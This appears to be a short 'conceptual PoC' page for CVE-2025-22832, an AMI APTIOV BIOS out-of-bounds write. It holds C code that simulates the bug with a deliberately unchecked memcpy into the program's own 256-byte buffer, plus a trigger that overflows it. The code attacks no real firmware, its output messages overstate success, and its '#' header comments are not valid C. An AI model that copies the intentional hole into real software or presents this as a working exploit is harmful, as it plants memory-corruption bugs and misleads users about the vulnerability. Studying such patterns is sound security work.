CVE-2025-22832 AMI APTIOV BIOS本地越界写入漏洞

# CVE-2025-22832 - AMI APTIOV BIOS Out-of-bounds Write PoC # This is a conceptual PoC demonstrating the vulnerability pattern # Actual exploitation requires specific hardware/firmware configuration #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Simulated BIOS buffer structure #define BIOS_BUFFER_SIZE 256 typedef struct { uint8_t buffer[BIOS_BUFFER_SIZE]; uint32_t buffer_length; uint32_t max_size; } bios_buffer_t; /* * Vulnerable function: writes user input to BIOS buffer without bounds checking * This simulates the out-of-bounds write vulnerability in APTIOV BIOS */ void vulnerable_bios_write(bios_buffer_t *ctx, uint8_t *input, uint32_t input_len) { // VULNERABILITY: No bounds check on input_len against max_size // This allows writing beyond the allocated buffer memcpy(ctx->buffer, input, input_len); ctx->buffer_length = input_len; // Records the overflowed length } /* * PoC trigger function * Sends oversized input to trigger out-of-bounds write */ int trigger_cve_2025_22832(void) { bios_buffer_t ctx; memset(&ctx, 0, sizeof(ctx)); ctx.max_size = BIOS_BUFFER_SIZE; // Craft oversized payload (2x the buffer size) uint32_t payload_size = BIOS_BUFFER_SIZE * 2; uint8_t *payload = (uint8_t *)malloc(payload_size); if (!payload) { return -1; } // Fill payload with controlled data to overwrite adjacent memory memset(payload, 0x41, payload_size); printf("[+] Triggering CVE-2025-22832 Out-of-bounds Write...\n"); printf("[+] Buffer size: %d, Payload size: %d\n", BIOS_BUFFER_SIZE, payload_size); // Trigger the vulnerability vulnerable_bios_write(&ctx, payload, payload_size); printf("[+] Out-of-bounds write executed successfully\n"); printf("[+] Adjacent memory corrupted - potential code execution or data corruption\n"); free(payload); return 0; } int main(int argc, char *argv[]) { printf("=== CVE-2025-22832 PoC ===\n"); printf("Target: AMI APTIOV BIOS - Out-of-bounds Write\n"); printf("CVSS: 7.8 (HIGH)\n"); printf("Requirements: Local access, Low privileges\n\n"); return trigger_cve_2025_22832(); }